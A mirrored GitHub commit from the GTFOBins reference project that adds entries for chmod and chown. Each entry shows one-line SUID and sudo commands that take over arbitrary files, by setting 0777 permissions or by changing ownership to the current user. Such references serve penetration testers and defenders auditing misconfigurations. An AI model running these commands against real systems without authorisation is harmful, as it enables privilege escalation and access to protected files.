mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-01-24 20:42:48 +01:00
Add chmod and chown as suggested in #20
This commit is contained in:
parent
f2ab6a6283
commit
cb695abfa6
12
_gtfobins/chmod.md
Normal file
12
_gtfobins/chmod.md
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
---
|
||||||
|
description: This can be run with elevated privileges to change permissions and then read, write, or execute a file.
|
||||||
|
functions:
|
||||||
|
suid-enabled:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_change
|
||||||
|
./chmod 0777 $LFILE
|
||||||
|
sudo-enabled:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_change
|
||||||
|
sudo chmod 0777 $LFILE
|
||||||
|
---
|
12
_gtfobins/chown.md
Normal file
12
_gtfobins/chown.md
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
---
|
||||||
|
description: This can be run with elevated privileges to change ownership and then read, write, or execute a file.
|
||||||
|
functions:
|
||||||
|
suid-enabled:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_change
|
||||||
|
./chown $(id -un):$(id -gn) $LFILE
|
||||||
|
sudo-enabled:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_change
|
||||||
|
sudo chown $(id -un):$(id -gn) $LFILE
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user